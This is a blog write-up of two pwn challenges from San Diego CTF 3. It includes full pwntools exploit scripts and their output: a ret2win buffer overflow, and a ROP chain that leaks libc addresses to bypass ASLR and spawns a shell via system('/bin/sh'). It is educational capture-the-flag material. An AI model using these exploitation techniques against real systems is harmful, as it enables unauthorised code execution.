San Diego CTF 3 (2022) Write-up (pwn)

Hi everyone! San Diego CTF 3 was held from 7/5/2022 to 8/5/2022. This post will be on the two pwn challenges I have solved for my team. Let’s get started!

1. Challenges

  1. Horoscope
    • ret2win x64 ELF buffer overflow (BoF) challenge
  2. Secure Horoscope
    • Return-oriented programming (ROP) ret2libc x64 ELF challenge with limited space. Hence creativity is required to chain current ROP to the caller function’s buffer which contains our main ROP gadgets.

2. Horoscope

PWN - Easy

Horoscope
This program will predict your future!

Connect
nc horoscope.sdc.tf 1337

By green beans

2.1 Files provided

2.2 Overview

We can see that main() is subjectable to buffer overflow (BoF) as the allowed input size is larger than the s buffer’s size. Therefore, we can overwrite the return address with some malicious addresses.

In processInput(), we see that to pass the condition to go back to main() without going to the default case and exit via exit(), we need a valid number followed by a ‘/’.

int __fastcall processInput(char *a1)
{
  const char *nptr; // [rsp+18h] [rbp-28h]
  int i; // [rsp+2Ch] [rbp-14h]
  int v4; // [rsp+3Ch] [rbp-4h]

  nptr = strtok(a1, "/");
  for ( i = 0; i <= 3; ++i )
  {
    if ( !i )
      v4 = atoi(nptr);
    if ( i == 3 )
      atoi(nptr);
  }
  switch ( v4 )
  {
    case 1:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "January");
      break;
    case 2:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "February");
      break;
    case 3:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "March");
      break;
    case 4:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "April");
      break;
    case 5:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "May");
      break;
    case 6:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "June");
      break;
    case 7:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "July");
      break;
    case 8:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "August");
      break;
    case 9:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "September");
      break;
    case 10:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "October");
      break;
    case 11:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "November");
      break;
    case 12:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "December");
      break;
    default:
      puts("thats not a valid date >:-(");
      fflush(stdout);
      exit(1);
  }
  return fflush(stdout);
}

2.3 Security settings

kali@kali~$ ~/.local/bin/pwn checksec ./horoscope
[*] '/home/kali/Desktop/horoscope'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2.4 ret2win exploitation discovery

As NX is enabled, this means we most likely have to use ret2libc or ret2win to obtain a shell. I noticed that the binary file has system(). This means it is used somewhere. A quick search in the binary allows me to find out it is in the test().

However, it requires the global variable temp to be set. A quick dereference in IDA allows me to find out the debug() function will set temp to 1 once it is called. Therefore, we can ret2debug and then ret2test to obtain a shell.

2.5 Write exploit and get the flag

We can use IDA to see how much padding is needed. We will need 0x30 + 0x8 (RBP space) = 0x38 bytes to reach return address location.

Finally, I crafted horoscope_exploit.py:

from pwn import *

context.arch = "amd64"

r = remote("horoscope.sdc.tf", 1337)
#r = gdb.debug("./horoscope")
elf = ELF("./horoscope")

# s to RBP + RBP space
offset_s_to_ret = 0x30 + 0x8

process_input_string = b'1/'
# pad until RET location
padding = (offset_s_to_ret - len(process_input_string)) * b'A'

payload = process_input_string + padding + p64(elf.symbols['debug']) + p64(elf.symbols['test']) 

log.info("debug() address: " + hex(elf.symbols['debug']))
log.info("test() address: " + hex(elf.symbols['test']))
log.info("Sending payload...: " + str(payload))
print(str(payload))

r.sendlineafter(b'we will have your very own horoscope\n', payload)

r.interactive()

kali@kali~$ python3 horoscope_exploit.py
[+] Opening connection to horoscope.sdc.tf on port 1337: Done
[*] '/home/kali/Desktop/horoscope'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] debug() address: 0x40096e
[*] test() address: 0x400950
[*] Sending payload...: b'1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAn\t@\x00\x00\x00\x00\x00P\t@\x00\x00\x00\x00\x00'
b'1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAn\t@\x00\x00\x00\x00\x00P\t@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
wow, you were born in the month of January. I think that means you will have a great week! 🙂$ ls
flag.txt
horoscope
$ cat flag.txt
sdctf{S33ms_y0ur_h0rO5c0p3_W4s_g00d_1oD4y}$  

3. Secure Horoscope

PWN - Medium

Secure Horoscope
Our horoscope developers have pivoted to a more security-focused approach to predicting the future. You won’t find breaking into this one quite so easy!

Connect
nc sechoroscope.sdc.tf 1337

By green beans

3.1 Files provided

We can see that there are no vulnerabilities in main().

3.2 Overview

However in getInfo(), we can see that there is a buffer overflow (BoF) vulnerability. The size of the info buffer is 100 (0x64) but the program allows us to input 0x8C characters.

3.3 Security settings

kali@kali~$ ~/.local/bin/pwn checksec ./secureHoroscope
[*] '/home/kali/Desktop/secureHoroscope'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

3.4 Vulnerability exploitation

Based on the security setting since NX is enabled and ASLR/PIE is disabled, we will need to use return-oriented programming (ROP). This time around, there is no function for us to jump to.

However, we only have 0x14 of space for ROP. This means we only can have 2 gadgets. This is due to the 0x8C characters limitation as input and we need 0x70+0x8 (RBP space) = 0x78 space to pad till the return address location.

0x8C - 0x70 - 0x8 = 0x14 space left for gadgets

Therefore, we have to be creative by using main()‘s buf variable to store our remaining ROP gadgets. However, there are two variables before the buf variable which are argc and argv.

This can be easily solved by searching for a gadget that will pop argc‘s value from the stack. This way, 2 gadgets are able to remove 3 items from the stack before the ROP reaches the buf variable where it contains our remaining ROP gadgets.

Using ROP() in pwntools, we will search which register has a pop gadget. It took me a while before I found that we can use “pop RBP; ret” gadget to remove buffer argc‘s value from the stack so that we can go to buffer buf where our remaining/main gadgets are at.

kali@kali~$ python3
>>> from pwn import *
>>> elf = ELF("./secureHoroscope")
>>> rop = ROP(elf)
>>> rop.rbp
Gadget(0x400648, ['pop rbp', 'ret'], ['rbp'], 0x8)

In our main/remaining gadgets in buffer buf, it shall contain gadgets to leak GOT functions’ address to reveal to us which libc is used by the server as well as bypass libc’s ASLR. Since buffer buf only can store 0x28 (40) bytes. Our number of gadgets will be limited. Thus unlike the usual one time ROP to leak libc, we will need to do ROP two times to leak the address of puts() and printf(). Remember that we will need to go back to main() instead of getInfo() so that we can fill buffer buf with our next ROP main content. Meanwhile, getInfo()‘s ROP gadgets are always the same which is a dummy RET gadget and a gadget to remove buffer argc‘s value due to getInfo() only having a size for two gadgets.

from pwn import *
 
context.arch = 'amd64'
#context.log_level = "debug"
	

# set up our main ROP gadgets in main()'s buf variable
def setup_buf_varaible(func_to_use):
	########### setting up ROP to print/leak ASLR address of puts() in the libc of the server (bypass ASLR) ###########
	rop_elf = ROP(elf)
	# puts() will be called and print the address stored in elf.got[func_to_use]
	rop_elf.call(elf.plt['puts'], [elf.got[func_to_use]])
	# Goes back to main() so that we can setup our next ROP.
	rop_elf.call(elf.symbols['main'])
	
	# see the gadgets to be chained
	log.info(rop_elf.dump())

	# send our ROP chain to store inside buf variable
	r.sendlineafter(b'To get started, tell us how you feel\n', rop_elf.chain())


# trigger overflow in getInfo()
def trigger_overflow(to_leak=True) -> int:
	# info to RBP padding + RBP space
	OFFSET_INFO_TO_RET = 0x70 + 0x8
	padding = b'A' * OFFSET_INFO_TO_RET

	# ret gadget
	getInfo_ret_instr_addr = 0x40080E
	
	rop_elf = ROP(elf)

	# to clear away rbp+argc's 0x1 value from the stack
	clear_argc_value_gadget = rop_elf.find_gadget(["pop rbp", "ret"])[0]
	
	# we only have 0x14 space for ROP (include ret addr's space).
	# make these ROP gadgets chain until main()'s buf variable that has our remaining ROP gadgets.
	# at the same time, remove away rbp+argc's 0x1 value from the stack
	payload = padding + p64(getInfo_ret_instr_addr) + p64(clear_argc_value_gadget)

	# send overflow and trigger ROP
	r.sendlineafter(b'we will have your very own horoscope\n\n', payload)
	
	# ignore echo back our input
	r.recvuntil(b'\n')
	# ignore b'hm, I'll have to think about what this means. I'll get back to you in 5 business days.\n'
	r.recvuntil(b'\n')
	
	if to_leak:
		# get the leaked address of ASLR puts() in libc in the server
		return u64(r.recvuntil(b'\n').strip().ljust(8, b"\x00"))

 
r = remote("sechoroscope.sdc.tf", 1337)
#r = gdb.debug("./secureHoroscope")
elf = ELF("./secureHoroscope")

 
########### setting up ROP to print/leak ASLR address of puts() in the libc of the server (bypass ASLR) ###########
setup_buf_varaible("puts")

# program should have entered getInfo(), time to trigger buffer overflow with ROP
leaked_addr_puts_libc = trigger_overflow()
log.info("puts()'s address @ GOT: " + hex(leaked_addr_puts_libc))

########### setting up ROP to print/leak ASLR address of printf() in the libc of the server (bypass ASLR) ###########
setup_buf_varaible("printf")

# program should have entered getInfo(), time to trigger buffer overflow with ROP
leaked_addr_printf_libc = trigger_overflow()


log.info("puts()'s address @ GOT: " + hex(leaked_addr_puts_libc))
log.info("printf()'s address @ GOT: " + hex(leaked_addr_printf_libc))
kali@kali~$ python3 securehoroscope_exploit.py
[+] Opening connection to sechoroscope.sdc.tf on port 1337: Done
[*] '/home/kali/Desktop/secureHoroscope'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './secureHoroscope'
[*] 0x0000:         0x400873 pop rdi; ret
    0x0008:         0x601018 [arg0] rdi = got.puts
    0x0010:         0x400580
    0x0018:         0x4006c7 0x4006c7()
[*] puts()'s address @ GOT: 0x7fb263937970
[*] 0x0000:         0x400873 pop rdi; ret
    0x0008:         0x601020 [arg0] rdi = got.printf
    0x0010:         0x400580
    0x0018:         0x4006c7 0x4006c7()
[*] puts()'s address @ GOT: 0x7fbfc41df970
[*] printf()'s address @ GOT: 0x7fbfc41c3e40

Go to https://libc.rip/ and input the leaked address and it will reveal to us what is the libc used by the program on the server. We can directly download the libc file from the website to be used by pwntools.

With the libc revealed, we can now obtain a shell.

3.5 Crafting exploit and getting the flag

Below contains my crafted securehoroscope_exploit.py:

from pwn import *
 
context.arch = 'amd64'
#context.log_level = "debug"
	

# set up our main ROP gadgets in main()'s buf variable
def setup_buf_varaible(func_to_use):
	########### setting up ROP to print/leak ASLR address of puts() in the libc of the server (bypass ASLR) ###########
	rop_elf = ROP(elf)
	# puts() will be called and print the address stored in elf.got[func_to_use]
	rop_elf.call(elf.plt['puts'], [elf.got[func_to_use]])
	# Goes back to main() so that we can setup our next ROP.
	rop_elf.call(elf.symbols['main'])
	
	# see the gadgets to be chained
	log.info(rop_elf.dump())

	# send our ROP chain to store inside buf variable
	r.sendlineafter(b'To get started, tell us how you feel\n', rop_elf.chain())


# trigger overflow in getInfo()
def trigger_overflow(to_leak=True) -> int:
	# info to RBP padding + RBP space
	OFFSET_INFO_TO_RET = 0x70 + 0x8
	padding = b'A' * OFFSET_INFO_TO_RET

	# ret gadget
	getInfo_ret_instr_addr = 0x40080E
	
	rop_elf = ROP(elf)

	# to clear away rbp+argc's 0x1 value from the stack
	clear_argc_value_gadget = rop_elf.find_gadget(["pop rbp", "ret"])[0]
	
	# we only have 0x14 space for ROP (include ret addr's space).
	# make these ROP gadgets chain until main()'s buf variable that has our remaining ROP gadgets.
	# at the same time, remove away rbp+argc's 0x1 value from the stack
	payload = padding + p64(getInfo_ret_instr_addr) + p64(clear_argc_value_gadget)

	# send overflow and trigger ROP
	r.sendlineafter(b'we will have your very own horoscope\n\n', payload)
	
	# ignore echo back our input
	r.recvuntil(b'\n')
	# ignore b'hm, I'll have to think about what this means. I'll get back to you in 5 business days.\n'
	r.recvuntil(b'\n')
	
	if to_leak:
		# get the leaked address of ASLR puts() in libc in the server
		return u64(r.recvuntil(b'\n').strip().ljust(8, b"\x00"))

 
r = remote("sechoroscope.sdc.tf", 1337)
#r = gdb.debug("./secureHoroscope")
elf = ELF("./secureHoroscope")

 
########### setting up ROP to print/leak ASLR address of puts() in the libc of the server (bypass ASLR) ###########
setup_buf_varaible("puts")

# program should have entered getInfo(), time to trigger buffer overflow with ROP
leaked_addr_puts_libc = trigger_overflow()
log.info("puts()'s address @ GOT: " + hex(leaked_addr_puts_libc))

########### setting up ROP to print/leak ASLR address of printf() in the libc of the server (bypass ASLR) ###########
setup_buf_varaible("printf")

# program should have entered getInfo(), time to trigger buffer overflow with ROP
leaked_addr_printf_libc = trigger_overflow()


log.info("puts()'s address @ GOT: " + hex(leaked_addr_puts_libc))
log.info("printf()'s address @ GOT: " + hex(leaked_addr_printf_libc))
 
 
libc = ELF("./libc6_2.27-3ubuntu1.5_amd64.so")
 
# obtain the ASLR base addres of libc
libc.address = server_libc_base_addr = leaked_addr_puts_libc - libc.symbols['puts']
log.info("Leaked server's libc base address: " + hex(libc.address))
 
 
########################## Obtain a shell ##########################
# Craft sys call to /bin/sh.
rop_libc = ROP(libc)
rop_libc.call(libc.symbols['system'], [next(libc.search(b"/bin/sh\x00"))])

# check the alignment of the gadgets
log.info(rop_libc.dump())

r.sendlineafter(b'To get started, tell us how you feel\n', rop_libc.chain())
trigger_overflow(False)
 
r.interactive()
 
r.close()
kali@kali~$ python3 securehoroscope_exploit.py
[+] Opening connection to sechoroscope.sdc.tf on port 1337: Done
[*] '/home/kali/Desktop/secureHoroscope'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './secureHoroscope'
[*] 0x0000:         0x400873 pop rdi; ret
    0x0008:         0x601018 [arg0] rdi = got.puts
    0x0010:         0x400580
    0x0018:         0x4006c7 0x4006c7()
[*] puts()'s address @ GOT: 0x7fb263937970
[*] 0x0000:         0x400873 pop rdi; ret
    0x0008:         0x601020 [arg0] rdi = got.printf
    0x0010:         0x400580
    0x0018:         0x4006c7 0x4006c7()
[*] puts()'s address @ GOT: 0x7fb263937970
[*] printf()'s address @ GOT: 0x7fb26391be40
[*] '/home/kali/Desktop/libc6_2.27-3ubuntu1.5_amd64.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Leaked server's libc base address: 0x7fb2638b7000
[*] Loaded 199 cached gadgets for './libc6_2.27-3ubuntu1.5_amd64.so'
[*] 0x0000:   0x7fb2638d864f pop rdi; ret
    0x0008:   0x7fb263a6ad88 [arg0] rdi = 140404152774024
    0x0010:   0x7fb263906420
[*] Switching to interactive mode
$ ls
flag.txt
secureHoroscope
$ cat flag.txt
sdctf{Th0s3_d4rN_P15C3s_g0t_m3}

I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.